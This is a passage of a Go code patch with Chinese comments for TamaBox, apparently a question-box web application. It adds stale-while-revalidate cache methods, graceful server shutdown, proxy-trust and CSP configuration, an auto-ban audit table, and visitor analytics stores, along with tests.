// 供 stale-while-revalidate 使用:调用方拿到过期的旧值后可以先返回给用户,
// 再在后台重算。Get 做不到这一点——它遇到过期项就直接删掉并返回 false,
// 于是「过期」和「不存在」变成同一个结果,调用方只能同步等待重算。
func (c *TTLCache) GetWithExpiry(key string) (value interface{}, expiresAt time.Time, ok bool) {
c.mu.RLock()
defer c.mu.RUnlock()
e, ok := c.items[key]
if !ok {
return nil, time.Time{}, false
}
return e.value, e.expiresAt, true
}
// Expire 把条目标记为「已过期」但**保留其值**。
//
// 与 Delete 的区别很关键:Delete 之后下次读是彻底 miss,调用方只能同步重算;
// Expire 之后下次读仍然拿得到旧值,于是可以「先返回旧值 + 后台刷新」。
// 写多读多的场景(例如投票:每来一票都要让结果失效)只有用 Expire 才不会
// 把每次写入都变成下一次读的同步 O(N) 重算。
// key 不存在或已过期时什么也不做。
func (c *TTLCache) Expire(key string) {
c.mu.Lock()
defer c.mu.Unlock()
e, ok := c.items[key]
if !ok {
return
}
e.expiresAt = time.Now().Add(-time.Second)
c.items[key] = e
}
// Set 写入缓存并设定过期时间。
func (c *TTLCache) Set(key string, value interface{}, ttl time.Duration) {
c.mu.Lock()
+66
View File
@@ -59,3 +59,69 @@ func TestTTLCacheConcurrent(t *testing.T) {
}
wg.Wait()
}
// TestTTLCacheGetWithExpiryKeepsEntry 锁住一个关键语义:
// GetWithExpiry **不删除**过期条目,否则 stale-while-revalidate 拿不到旧值,
// 只能退化成「过期即彻底 miss → 同步重算」,那正是投票结果 O(N²) 的成因。
func TestTTLCacheGetWithExpiryKeepsEntry(t *testing.T) {
c := NewTTLCache(8)
c.Set("k", "v", time.Nanosecond)
time.Sleep(2 * time.Millisecond)
v, exp, ok := c.GetWithExpiry("k")
if !ok {
t.Fatal("expired entry should still be readable via GetWithExpiry")
}
if v.(string) != "v" {
t.Fatalf("expected stale value v, got %v", v)
}
if !time.Now().After(exp) {
t.Fatal("entry should already be expired")
}
// 再读一次仍然在(证明上一次调用没有顺手删掉它)
if _, _, ok := c.GetWithExpiry("k"); !ok {
t.Fatal("GetWithExpiry must not evict the entry")
}
// 而普通 Get 仍按原语义返回 miss(并清掉它)
if _, ok := c.Get("k"); ok {
t.Fatal("Get should report miss for an expired entry")
}
}
// TestTTLCacheGetWithExpiryMissing 不存在的 key 必须返回 ok=false,
// 且不能凭空造出一个零值过期时间让调用方误判为「过期但有值」。
func TestTTLCacheGetWithExpiryMissing(t *testing.T) {
c := NewTTLCache(8)
if _, _, ok := c.GetWithExpiry("nope"); ok {
t.Fatal("expected miss for unknown key")
}
}
// TestTTLCacheExpireKeepsValue 锁住 Expire 与 Delete 的区别:
// Expire 后条目仍在(可拿到旧值并触发后台刷新),而 Delete 之后彻底 miss。
func TestTTLCacheExpireKeepsValue(t *testing.T) {
c := NewTTLCache(8)
c.Set("k", "v", time.Hour)
c.Expire("k")
v, exp, ok := c.GetWithExpiry("k")
if !ok || v.(string) != "v" {
t.Fatalf("Expire must keep the value, got %v %v", v, ok)
}
if !time.Now().After(exp) {
t.Fatal("Expire must push expiresAt into the past")
}
// 普通 Get 立刻视为过期
if _, ok := c.Get("k"); ok {
t.Fatal("Get should see the expired entry as a miss")
}
// 对不存在的 key 调用 Expire 不应 panic 也不应创建条目
c.Expire("absent")
if _, _, ok := c.GetWithExpiry("absent"); ok {
t.Fatal("Expire must not create an entry")
}
}
+97 -5
View File
@@ -5,8 +5,12 @@
package cmd
import (
"context"
"fmt"
"net/http"
"os"
"os/signal"
"syscall"
"time"
"github.com/pkg/errors"
@@ -17,11 +21,13 @@ import (
"github.com/tamakyi/TamaBox/internal/conf"
"github.com/tamakyi/TamaBox/internal/db"
"github.com/tamakyi/TamaBox/internal/insights"
"github.com/tamakyi/TamaBox/internal/route"
"github.com/tamakyi/TamaBox/internal/security/honeypot"
"github.com/tamakyi/TamaBox/internal/shared"
"github.com/tamakyi/TamaBox/internal/stats"
"github.com/tamakyi/TamaBox/internal/tracing"
"github.com/tamakyi/TamaBox/route/question"
)
var Web = &cli.Command{
@@ -69,10 +75,18 @@ func runWeb(ctx *cli.Context) error {
}
conf.Database.DSN = dsn
_, err := db.Init(dbType, dsn)
gdb, err := db.Init(dbType, dsn)
if err != nil {
return errors.Wrap(err, "connect to database")
}
// 退出前把连接池关掉,避免优雅关闭期间连接还在池里挂着。
if sqlDB, dbErr := gdb.DB(); dbErr == nil {
defer func() {
if err := sqlDB.Close(); err != nil {
logrus.WithError(err).Warn("关闭数据库连接池失败")
}
}()
}
// 蜜罐命中记录保留期清理:honeypot_hits 是只追加的审计表,写入完全由
// 外部扫描流量驱动(不可预期、不可节流)。没有自动清理的话,表体积只增不减。
@@ -93,11 +107,45 @@ func runWeb(ctx *cli.Context) error {
defer close(stopRetention)
}
// Redis 配了就必须连得上:session 建在它上面,宕机等于全站 500(含匿名访客)。
// 启动期 fail fast,别让运维在「站点全 500」的现场去猜是不是 Redis。
if conf.Redis.Addr != "" {
if err := shared.PingRedis(conf.Redis.Addr, conf.Redis.Password); err != nil {
return errors.Wrapf(err,
"无法连接 Redis(%s)。session 依赖它,连不上会导致全站 500,启动已中止。"+
"请检查 [redis] addr/password,或清空 addr 改用进程内 session 与缓存",
conf.Redis.Addr)
}
logrus.WithField("addr", conf.Redis.Addr).Info("Redis 连接正常")
} else {
logrus.Info("未配置 [redis] addr:session 与缓存均使用进程内实现(单副本部署可用)")
}
logrus.WithContext(ctx.Context).WithField("external_url", conf.App.ExternalURL).Info("Starting web server")
// 箱主数据面板的访问记录器:异步批量写 box_views,不阻塞页面渲染。
// 密钥复用 server.xsrf_key —— 它已经是启动期强校验过的非空随机串,
// 而且与 CSRF token 的用途不同(这里只做 HMAC 的一次性密钥),不存在混用风险。
insightsStore := db.BoxViews
if insightsStore != nil {
insights.Views = insights.NewRecorder(insightsStore, conf.Server.XSRFKey)
defer insights.Views.Close()
insights.StartMaintenance(ctx.Context, insightsStore)
}
// 站点默认语言初始化(default_lang 配置,未配置时回退 zh-CN)
shared.App.SetLang(conf.App.DefaultLang)
// 分享卡字体:缺字体只会在「第一张分享图被请求」时暴露成 500,而 /share-card 是公开端点。
// 启动时先探一次(顺带把读文件 + 解析的开销挪出请求路径),缺了直接 WARN 并给出补救办法。
if fontPath, err := question.CheckShareCardFont(); err != nil {
logrus.WithError(err).Warn("分享卡字体不可用,/share-card 将返回 500:" +
"装一个 glyf 轮廓的 CJK 字体(apt install fonts-wqy-zenhei)" +
"或把 ttf/otf/ttc 放进 static/fonts/,也可用 [app] font_path 指定")
} else {
logrus.WithField("font", fontPath).Info("分享卡字体已就绪")
}
r := route.New()
r.Use(tracing.Middleware("TamaBox"))
@@ -112,11 +160,20 @@ func runWeb(ctx *cli.Context) error {
}()
// 最外层挂载 gzip 压缩,并在 http.Server 上配置超时:
// - ReadHeaderTimeout 防止慢速客户端占用连接
// - ReadHeaderTimeout 防止慢速客户端占用连接(slowloris 的防线在这里)
// - ReadTimeout / WriteTimeout 防止读写挂死
// - IdleTimeout 复用 keep-alive 连接
// listen 留空时回退到 ":port"(监听所有网卡);Cloudflare Tunnel 部署建议设为
// "127.0.0.1:<port>",使源站端口仅对本地 cloudflared 可见,即使防火墙误配也无法被外部直连。
//
// ReadTimeout 从 30s 提到 120s:站内允许单图 8MB(storage.MaxUploadBytes),
// 请求体上限 12MB(form.MaxRequestBodySize)。30s 传完 8MB 需要 ≥273 KB/s 上行,
// 而手机 4G 上行常在 1–2 Mbps(125–250 KB/s)—— 一张 8MB 图必然超时,且用户
// 已经写好的提问正文会一起丢掉(POST 失败不回填)。120s 对应约 68 KB/s,
// 偏远地区 3G 也能过。
//
// 放宽 ReadTimeout 不会让 slowloris 重新变得可行:那类攻击卡在「发不完 header」,
// 由 10s 的 ReadHeaderTimeout 拦住;ReadTimeout 只影响读完 header 之后传 body 的时长。
addr := conf.Server.Listen
if addr == "" {
addr = fmt.Sprintf(":%d", conf.Server.Port)
@@ -125,14 +182,49 @@ func runWeb(ctx *cli.Context) error {
Addr: addr,
Handler: route.GzipHandler(r),
ReadHeaderTimeout: 10 * time.Second,
ReadTimeout: 30 * time.Second,
ReadTimeout: 120 * time.Second,
WriteTimeout: 60 * time.Second,
IdleTimeout: 120 * time.Second,
}
logrus.WithContext(ctx.Context).WithField("port", conf.Server.Port).Info("Listening on")
if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
return errors.Wrap(err, "start http server")
// 优雅关闭:收到 SIGTERM / SIGINT 后停止接受新连接,给在途请求最多 15 秒收尾。
//
// 改动前是直接 ListenAndServe:Go 对 SIGTERM 的处理就是立即退出进程,
// 于是每次部署 / 重启都会把正在写库的 POST 就地处死,留下
// 「提问已 INSERT、图片还没传完」「回答已写入、配额还没扣」这类半成品。
// systemd Restart=always 与 docker restart 都救不了这个。
runCtx, stop := signal.NotifyContext(ctx.Context, syscall.SIGTERM, os.Interrupt)
defer stop()
serveErr := make(chan error, 1)
go func() {
err := server.ListenAndServe()
if errors.Is(err, http.ErrServerClosed) {
// 正常的 Shutdown 路径,不算失败
err = nil
}
serveErr <- err
}()
select {
case err := <-serveErr:
// 端口被占 / 监听失败:没有在途请求要收尾,直接返回。
if err != nil {
return errors.Wrap(err, "start http server")
}
return nil
case <-runCtx.Done():
logrus.Info("收到退出信号,正在优雅关闭(最多 15 秒)")
}
shutdownCtx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
defer cancel()
if err := server.Shutdown(shutdownCtx); err != nil {
logrus.WithError(err).Warn("优雅关闭超时,强制断开剩余连接")
_ = server.Close()
}
logrus.Info("HTTP 服务已关闭")
return nil
}
+20 -3
View File
@@ -57,11 +57,15 @@ var (
// TrustProxy 为 true 时信任 CDN 权威客户端头 CF-Connecting-IP / EO-Client-IP
// (以及受信代理设置的 X-Real-IP / X-Forwarded-For);否则一律用 RemoteAddr,
// 防止伪造 header 绕过速率限制与 IP 黑名单。
// ⚠️ 权威头只在 TCP 对端可信(回环,或命中 TrustedProxies)时才会被采信 ——
// 见 shared.ResolveClientIP:公网对端带来的权威头一律忽略(P1-3 修复)。
TrustProxy bool `ini:"trust_proxy"`
// TrustedProxies 逗号分隔的 IP / CIDR,仅限自己的反向代理 / LB。仅当 TCP 对端
// 落在该清单内才解析 X-Forwarded-For / X-Real-IP;留空则这两个头永不被信任
// (CDN 权威头仍会采用,前提是源站已由 Cloudflare Tunnel / 回源网段锁定,
// 从而免于维护上游 CDN 的庞大 CIDR 清单)。
// 落在该清单内才解析 X-Forwarded-For / X-Real-IP;留空则这两个头永不被信任。
// 回环地址(127.0.0.1 / ::1)无需登记即视为可信对端:cloudflared / 本机 nginx
// 回源的连接必然由本机进程发起,外部无法伪造。
// CDN 直连回源(非 Tunnel)的部署形态下,必须把该 CDN 的回源网段登记到这里,
// 否则它的权威头会被忽略、客户端 IP 退化为 CDN 边缘 IP。
TrustedProxies string `ini:"trusted_proxies"`
EnableAutoBan bool `ini:"enable_auto_ban"` // fail2ban 风格:检测到扫描特征后临时封禁来源 IP
// BanTrackNotFound 是否把未注册路径的 404 计入封禁统计。默认 false:仅命中后台
@@ -135,6 +139,19 @@ var (
// 否则等于把配置文件当响应体吐给每一个被封的攻击者。
BanImagePath string `ini:"ban_image_path"`
SecurityAlertEmail string `ini:"security_alert_email"` // 触发封禁时告警收件人(留空不发送)
// CSP 内容安全策略的生效模式:enforce / report / off,缺省 enforce。
//
// enforce 下发 Content-Security-Policy(真正拦截);report 只下发 Report-Only
// (照常加载、只记违规),用于临时观察。默认拦截而不是观察,原因是:
// 没人会盯着 console,且不给 csp_report_uri 时 Report-Only 等于什么都没做,
// 留个不生效的开关反而制造「已防护」的错觉。默认值的安全前提是白名单已经
// 用真浏览器逐页巡检过(csp_sweep.py:20 个页面零违规)。
// 上线后发现误伤,把 csp 改成 report 或 off 再重启即可恢复,不用改代码。
CSP string `ini:"csp"`
// CSPReportURI 违规上报地址(可选)。留空时浏览器只把违规打到 console 不上报;
// 用 report 模式观察时应当配上,否则「观察一周」就只是空谈。
CSPReportURI string `ini:"csp_report_uri"`
}
Server struct {
+15 -3
View File
@@ -66,7 +66,10 @@ func (c *Context) HasError() bool {
if !ok {
return false
}
return hasErr.(bool)
// 带 ok 的断言:Data 是 map[string]interface{},任何写入方都可能塞进非 bool 值,
// 裸断言遇到那种情况会直接 panic 掉整个请求。非 bool 一律视为「无错误」。
v, isBool := hasErr.(bool)
return isBool && v
}
func (c *Context) SetError(err error, f ...interface{}) {
@@ -135,6 +138,11 @@ func (c *Context) Refresh() {
}
func (c *Context) JSON(data interface{}) error {
// 显式声明内容类型:之前靠 Go 的 sniff 兜底,实测返回的是 text/plain。
// 有 nosniff 所以不会被当 HTML 渲染,但按 Content-Type 分派的客户端
// (fetch 的 .json()、axios、部分 SDK)会因此走错分支。
c.ResponseWriter().Header().Set("Content-Type", "application/json; charset=utf-8")
resp := map[string]interface{}{
"code": 0,
"data": data,
@@ -149,6 +157,9 @@ func (c *Context) ServerError() error {
}
func (c *Context) JSONError(errorCode int, message string) error {
// 必须在 WriteHeader 之前设置:一旦写出状态码,头就锁定了。
c.ResponseWriter().Header().Set("Content-Type", "application/json; charset=utf-8")
span := trace.SpanFromContext(c.Request().Context())
resp := map[string]interface{}{
@@ -367,9 +378,10 @@ func pageScope(path string) string {
path == "/register" || strings.HasPrefix(path, "/register/"):
return "auth"
case path == "/user" || strings.HasPrefix(path, "/user/"):
// 题目/私聊管理列表是「翻找内容」的页面,和「设置表单」的信息密度差很多,
// 题目/私聊管理列表、数据面板都是「读数据」的页面,和「设置表单」的信息密度差很多,
// 装饰要分开配:admin 更该退到背景,profile 可以保留一点氛围。
if strings.HasPrefix(path, "/user/questions") || strings.HasPrefix(path, "/user/votes") {
if strings.HasPrefix(path, "/user/questions") || strings.HasPrefix(path, "/user/votes") ||
strings.HasPrefix(path, "/user/insights") {
return "admin"
}
return "profile"
+1
View File
@@ -42,6 +42,7 @@ func TestPageScope(t *testing.T) {
"/user/profile": "profile",
"/user/questions": "admin", // 题目列表:信息密,装饰要退
"/user/votes/1/results": "admin",
"/user/insights": "admin", // 数据面板同属「读数据」
"/_/admin6": "box",
"/_/admin6/": "box",
"/_/admin6/tag/杂谈": "box",
+74
View File
@@ -0,0 +1,74 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package db
import (
"context"
"time"
"gorm.io/gorm"
)
// BanRecord 是一次自动封禁的落库记录。
//
// 为什么需要它:自动封禁的生效状态是**进程内存**里的(见 internal/security/autoban),
// 重启即清零,外部完全看不见。线上出现过「邮件说封了、实际还能访问」的排查困境 ——
// 当时没有任何东西能说明封的是哪个键、因为什么、到什么时候解除,只能靠翻日志猜。
//
// 这张表是「封禁事实」的账本,不参与判定:IsBanned 仍然只读内存,
// 表只用于事后解释与取证。写入失败绝不能影响封禁动作本身。
//
// 增长:每个键在封禁期内不会重复建封(autoban 命中已封禁直接拒绝),
// 所以行数量级 = 封禁次数,不需要自动清理。要清可手动 DELETE。
type BanRecord struct {
ID uint `gorm:"primarykey" json:"id"`
CreatedAt time.Time `gorm:"index" json:"created_at"`
// BanKey 与 autoban.IsBanned 的判断口径完全一致(shared.LimitKey,
// IPv6 折成 /64),否则账本与判定会各说一套。
BanKey string `gorm:"size:64;index" json:"ban_key"`
// Reason 是给人看的原因文案(敏感路径探测 / 蜜罐提交凭据)。
Reason string `gorm:"size:64" json:"reason"`
// DurationMinutes 与 ExpiresAt 一起回答「封多久、什么时候自动解除」。
DurationMinutes int `gorm:"not null;default:0" json:"duration_minutes"`
ExpiresAt time.Time `gorm:"index" json:"expires_at"`
}
// TableName 固定表名,避免 GORM 复数化差异。
func (BanRecord) TableName() string { return "ban_records" }
// BanRecords 自动封禁记录的全局 store,由 db.Init 装配。
var BanRecords BanRecordStore
// BanRecordStore 封禁记录的读写。
type BanRecordStore interface {
// Create 追加一条封禁记录。
Create(ctx context.Context, record *BanRecord) error
// ListSince 返回 since 之后的记录,按时间倒序,最多 limit 条。
ListSince(ctx context.Context, since time.Time, limit int) ([]*BanRecord, error)
}
type banRecords struct {
db *gorm.DB
}
// NewBanRecordsStore 创建封禁记录 store。
func NewBanRecordsStore(db *gorm.DB) BanRecordStore {
return &banRecords{db: db}
}
func (s *banRecords) Create(ctx context.Context, record *BanRecord) error {
return s.db.WithContext(ctx).Create(record).Error
}
func (s *banRecords) ListSince(ctx context.Context, since time.Time, limit int) ([]*BanRecord, error) {
var records []*BanRecord
err := s.db.WithContext(ctx).
Where("created_at >= ?", since).
Order("created_at DESC").
Limit(limit).
Find(&records).Error
return records, err
}
+56
View File
@@ -0,0 +1,56 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package db
import (
"context"
"testing"
"time"
"github.com/stretchr/testify/require"
)
// TestBanRecordStore 覆盖自动封禁账本的写入与检索。
//
// 这张表不参与判定(IsBanned 只读内存),所以测试只锁两件事:
// ① 记录能落库并按时间倒序取回;② 到期时间与时长原样保留 ——
// 事后排查全依赖这两个字段回答「封了多久、什么时候解」。
func TestBanRecordStore(t *testing.T) {
database, cleanup := newTestDB(t)
ctx := context.Background()
t.Cleanup(func() {
if err := cleanup("ban_records"); err != nil {
t.Fatal(err)
}
})
store := NewBanRecordsStore(database)
now := time.Now()
rows := []*BanRecord{
{BanKey: "1.2.3.4", Reason: "敏感路径探测", DurationMinutes: 60, ExpiresAt: now.Add(time.Hour), CreatedAt: now.Add(-2 * time.Hour)},
{BanKey: "2001:db8::/64", Reason: "蜜罐提交凭据", DurationMinutes: 1440, ExpiresAt: now.Add(24 * time.Hour), CreatedAt: now.Add(-10 * time.Minute)},
}
for _, r := range rows {
require.NoError(t, store.Create(ctx, r))
}
got, err := store.ListSince(ctx, now.Add(-3*time.Hour), 10)
require.NoError(t, err)
require.Len(t, got, 2)
// 时间倒序:最新的一条在最前
require.Equal(t, "2001:db8::/64", got[0].BanKey)
require.Equal(t, "蜜罐提交凭据", got[0].Reason)
require.Equal(t, 1440, got[0].DurationMinutes)
require.False(t, got[0].ExpiresAt.IsZero(), "到期时间必须保留,否则无法回答「什么时候解」")
// 时间窗过滤生效
recent, err := store.ListSince(ctx, now.Add(-30*time.Minute), 10)
require.NoError(t, err)
require.Len(t, recent, 1)
require.Equal(t, "2001:db8::/64", recent[0].BanKey)
}
+221
View File
@@ -0,0 +1,221 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package db
import (
"context"
"fmt"
"time"
"github.com/pkg/errors"
"gorm.io/gorm"
)
// BoxAnalyticsStore 是「箱主数据面板」里提问侧的聚合查询(访问侧见 BoxViewsStore)。
//
// 与 SiteAnalyticsStore 分开:那个是站方看的全站数据(不含任何单箱维度),
// 这个是箱主看自己的。两边的 SQL 都按 user_id 走,混在一个接口里会让
// 「全站聚合整天缓存」和「箱主实时看自己的」两种缓存策略纠缠在一起。
type BoxAnalyticsStore interface {
// BoxTrend 返回 [from, to] 内每天的提问数与回答数。只返回有数据的天,缺日由上层补零。
BoxTrend(ctx context.Context, userID uint, from, to time.Time) ([]BoxDayCount, error)
// BoxHours 返回 since 之后该箱收到提问的 24 小时分布(下标 0..23)。
BoxHours(ctx context.Context, userID uint, since time.Time) ([24]int64, error)
// BoxFunnel 返回该箱的提问处理漏斗。
BoxFunnel(ctx context.Context, userID uint) (*BoxFunnel, error)
}
// BoxDayCount 某一天的提问 / 回答计数。
type BoxDayCount struct {
Day time.Time `gorm:"column:day"`
Questions int64 `gorm:"column:questions"`
Answers int64 `gorm:"column:answers"`
}
// BoxFunnel 箱主的提问处理漏斗与响应速度。
type BoxFunnel struct {
Total int64 // 全部提问
Answered int64 // 已回答
ReadOnly int64 // 已读未答
Unread int64 // 未读未答
Private int64 // 私密提问
Anonymous int64 // 匿名(未登录)提问
Pinned int64 // 置顶
// 响应速度只统计已回答且 answered_at 有值的行(历史行退回 updated_at,
// 会有偏高,见 answered_at 的注释)。
RepliedIn24h int64
AvgReplyHour float64
// LastQuestionAt / LastAnswerAt 用于「你多久没看提问箱了」这类提示。
LastQuestionAt *time.Time
LastAnswerAt *time.Time
}
var BoxAnalytics BoxAnalyticsStore
var _ BoxAnalyticsStore = (*boxAnalytics)(nil)
func NewBoxAnalyticsStore(db *gorm.DB) BoxAnalyticsStore {
return &boxAnalytics{db}
}
type boxAnalytics struct {
*gorm.DB
}
func (db *boxAnalytics) BoxTrend(ctx context.Context, userID uint, from, to time.Time) ([]BoxDayCount, error) {
d := analyticsDialectFor(db.DB, from)
from, to = dayOnly(from), dayOnly(to).AddDate(0, 0, 1)
// 提问与回答分两条 SQL 再在内存里合并:一条 SQL 里同时按 created_at 和
// answered_at 分组要写成两条子查询再 FULL JOIN,MySQL 没有 FULL JOIN,
// 而两张结果集都很小,合并成本可以忽略。
type row struct {
Key string
N int64
}
var qs, as []row
if err := db.WithContext(ctx).Model(&Question{}).
Select(d.day+" AS key, COUNT(*) AS n").
Where("user_id = ? AND created_at >= ? AND created_at < ?", userID, from, to).
Group(d.day).
Scan(&qs).Error; err != nil {
return nil, errors.Wrap(err, "aggregate box questions by day")
}
if err := db.WithContext(ctx).Model(&Question{}).
Select(d.day+" AS key, COUNT(*) AS n").
Where("user_id = ? AND answer <> '' AND COALESCE(answered_at, updated_at) >= ? AND COALESCE(answered_at, updated_at) < ?",
userID, from, to).
Group(d.day).
Scan(&as).Error; err != nil {
return nil, errors.Wrap(err, "aggregate box answers by day")
}
// 用 map 合并,最后仍交给上层按日期补零(上层最清楚要展示哪些天)。
byDay := make(map[string]*BoxDayCount, len(qs))
order := make([]string, 0, len(qs)+len(as))
get := func(key string) *BoxDayCount {
if v, ok := byDay[key]; ok {
return v
}
t, err := time.ParseInLocation("2006-01-02", key, from.Location())
if err != nil {
t = from
}
v := &BoxDayCount{Day: t}
byDay[key] = v
order = append(order, key)
return v
}
for _, r := range qs {
get(r.Key).Questions = r.N
}
for _, r := range as {
get(r.Key).Answers = r.N
}
out := make([]BoxDayCount, 0, len(order))
for _, key := range order {
out = append(out, *byDay[key])
}
return out, nil
}
func (db *boxAnalytics) BoxHours(ctx context.Context, userID uint, since time.Time) ([24]int64, error) {
var out [24]int64
d := analyticsDialectFor(db.DB, since)
var rows []struct {
Hr int
N int64
}
if err := db.WithContext(ctx).Model(&Question{}).
Select(d.hour+" AS hr, COUNT(*) AS n").
Where("user_id = ? AND created_at >= ?", userID, since).
Group(d.hour).
Scan(&rows).Error; err != nil {
return out, errors.Wrap(err, "aggregate box question hours")
}
for _, r := range rows {
if r.Hr >= 0 && r.Hr < 24 {
out[r.Hr] = r.N
}
}
return out, nil
}
func (db *boxAnalytics) BoxFunnel(ctx context.Context, userID uint) (*BoxFunnel, error) {
out := &BoxFunnel{}
var totals struct {
Total int64 `gorm:"column:total"`
Answered int64 `gorm:"column:answered"`
ReadOnly int64 `gorm:"column:read_only"`
Unread int64 `gorm:"column:unread"`
Private int64 `gorm:"column:private"`
Anonymous int64 `gorm:"column:anonymous"`
Pinned int64 `gorm:"column:pinned"`
LastQ *time.Time `gorm:"column:last_q"`
LastA *time.Time `gorm:"column:last_a"`
}
if err := db.WithContext(ctx).Model(&Question{}).
Select(`COUNT(*) AS total,
COALESCE(SUM(CASE WHEN answer <> '' THEN 1 ELSE 0 END), 0) AS answered,
COALESCE(SUM(CASE WHEN answer = '' AND is_read THEN 1 ELSE 0 END), 0) AS read_only,
COALESCE(SUM(CASE WHEN answer = '' AND NOT is_read THEN 1 ELSE 0 END), 0) AS unread,
COALESCE(SUM(CASE WHEN is_private THEN 1 ELSE 0 END), 0) AS private,
COALESCE(SUM(CASE WHEN asker_user_id = 0 THEN 1 ELSE 0 END), 0) AS anonymous,
COALESCE(SUM(CASE WHEN is_pinned THEN 1 ELSE 0 END), 0) AS pinned,
MAX(created_at) AS last_q,
MAX(CASE WHEN answer <> '' THEN COALESCE(answered_at, updated_at) END) AS last_a`).
Where("user_id = ?", userID).
Scan(&totals).Error; err != nil {
return nil, errors.Wrap(err, "aggregate box funnel")
}
out.Total = totals.Total
out.Answered = totals.Answered
out.ReadOnly = totals.ReadOnly
out.Unread = totals.Unread
out.Private = totals.Private
out.Anonymous = totals.Anonymous
out.Pinned = totals.Pinned
out.LastQuestionAt = totals.LastQ
out.LastAnswerAt = totals.LastA
// 响应速度:answered_at 为空的历史行退回 updated_at(口径偏大,只用于展示大致量级)。
replyMinutes := boxReplyMinutesExpr(db.DB, out.LastAnswerAt)
if replyMinutes == "" {
return out, nil
}
var speed struct {
In24h int64 `gorm:"column:in_24h"`
Avg *float64 `gorm:"column:avg_min"`
}
if err := db.WithContext(ctx).Model(&Question{}).
Select(fmt.Sprintf(`COALESCE(SUM(CASE WHEN %[1]s <= 1440 THEN 1 ELSE 0 END), 0) AS in_24h,
AVG(%[1]s) AS avg_min`, replyMinutes)).
Where("user_id = ? AND answer <> ''", userID).
Scan(&speed).Error; err != nil {
return nil, errors.Wrap(err, "aggregate box reply speed")
}
out.RepliedIn24h = speed.In24h
if speed.Avg != nil && *speed.Avg > 0 {
out.AvgReplyHour = *speed.Avg / 60
}
return out, nil
}
// boxReplyMinutesExpr 返回「回答耗时(分钟)」的 SQL 表达式。
//
// 与 analyticsDialectFor 里的 replyMin 口径一致,但这里必须能固定到箱主自己那张表:
// 表达式里出现的列名都来自 questions 表,不需要额外限定。
func boxReplyMinutesExpr(db *gorm.DB, at *time.Time) string {
now := time.Now()
if at != nil {
now = *at
}
d := analyticsDialectFor(db, now)
return d.replyMin
}
+234
View File
@@ -0,0 +1,234 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package db
import (
"context"
"time"
"github.com/pkg/errors"
"gorm.io/gorm"
"gorm.io/gorm/clause"
)
// BoxViewsStore 记录「提问箱主页被访问了多少次」。
//
// 为什么要自带一张表:全站数据页(internal/stats)只统计提问/回答/用户,
// 完全没有「有人来看过我的箱」这个维度 —— 箱主看不到自己的任何流量。
// 曾经用过外部计数服务(busuanzi),但它把统计放在第三方、且只能显示两个数,
// 既不可自控也无法按天看趋势,已移除。
//
// 口径与隐私:
// - 一行 = 一个访客在某一天访问了某个箱(唯一索引强制),`views` 是当天的次数;
// - PV = SUM(views),UV = 行数(因为每行已按访客去重);
// - 访客标识是 **带日盐的 IP HMAC**,不是 IP 本身,也无法跨天关联同一人。
// 代价是「近 7 天 UV」= 各日 UV 之和,同一人多天来访会被重复计入 —— 这是
// 隐私与准确性的取舍,页面上按「按日去重的独立访客」表述。
type BoxViewsStore interface {
// Record 累加一次访问。实现为单条 UPSERT,并发安全。
Record(ctx context.Context, opts RecordBoxViewOptions) error
// RecordBatch 批量累加(记录器的 flush 用)。单条 SQL,避免 N 次往返。
RecordBatch(ctx context.Context, opts []RecordBoxViewOptions) error
// Daily 返回 [from, to] 内每天的 PV / UV,日期按天升序,缺日不补(由上层补零)。
Daily(ctx context.Context, userID uint, from, to time.Time) ([]BoxViewDay, error)
// TopDays 取历史上 PV 最高的若干天,供「你的最好一天」这类结论使用。
TopDays(ctx context.Context, userID uint, limit int) ([]BoxViewDay, error)
// FirstDay 返回最早有记录的一天;无记录时返回零值时间。
FirstDay(ctx context.Context, userID uint) (time.Time, error)
// Totals 返回全期累计访问量(PV / UV)。
Totals(ctx context.Context, userID uint) (pv, uv int64, err error)
// Purge 删除 before 之前的明细,控制表体积。统计窗口最长 30 天,
// 但「历史最好一天」要看全部,默认保留期由调用方决定(见 insights.Retention)。
Purge(ctx context.Context, before time.Time) (int64, error)
}
// BoxView 一次「访客 × 天 × 箱」的访问记录。
//
// 刻意不内嵌 dbutil.Model:统计流水不需要软删除,而软删除会让唯一索引
// (user_id, viewed_on, visitor) 失效 —— 被「删掉」的行仍然占着槽位,
// 同一访客当天再也插不进去(GORM 软删除 + 唯一索引的经典坑)。
type BoxView struct {
ID uint `gorm:"primarykey"`
UserID uint `gorm:"uniqueIndex:idx_box_views_day_visitor,priority:1;index:idx_box_views_user_day,priority:1"`
ViewedOn time.Time `gorm:"type:date;uniqueIndex:idx_box_views_day_visitor,priority:2;index:idx_box_views_user_day,priority:2"`
Visitor string `gorm:"size:32;uniqueIndex:idx_box_views_day_visitor,priority:3"`
Views int64 `gorm:"not null;default:1"`
CreatedAt time.Time
UpdatedAt time.Time
}
// BoxViewDay 某一天聚合后的访问量。
type BoxViewDay struct {
// Day 当天 0 点(调用方传入的时区)。扫描出来是 date 列,loc 由数据库会话决定,
// 上层只取 Year/Month/Day 拼 key,不依赖时分秒。
Day time.Time `gorm:"column:viewed_on"`
PV int64 `gorm:"column:pv"`
UV int64 `gorm:"column:uv"`
}
type RecordBoxViewOptions struct {
UserID uint
ViewedOn time.Time // 只有年月日有意义,写入前会被截断到当天 0 点
Visitor string
}
var BoxViews BoxViewsStore
var _ BoxViewsStore = (*boxViews)(nil)
func NewBoxViewsStore(db *gorm.DB) BoxViewsStore {
return &boxViews{db}
}
type boxViews struct {
*gorm.DB
}
// dayOnly 把时间截断到当天 0 点。用传入时间的时区,不做 UTC 归一 ——
// 站点按本地时间切「今天」,跨时区归一会让日报表偏一天。
func dayOnly(t time.Time) time.Time {
return time.Date(t.Year(), t.Month(), t.Day(), 0, 0, 0, 0, t.Location())
}
func (db *boxViews) Record(ctx context.Context, opts RecordBoxViewOptions) error {
return db.RecordBatch(ctx, []RecordBoxViewOptions{opts})
}
// RecordBatch 单条 INSERT ... ON CONFLICT DO UPDATE 累加。
//
// 冲突时只把 views 加一,visited_at 之外的列不动:同一访客当天第二次访问
// 只是「同一行还来了」,UV 不变、PV +1。
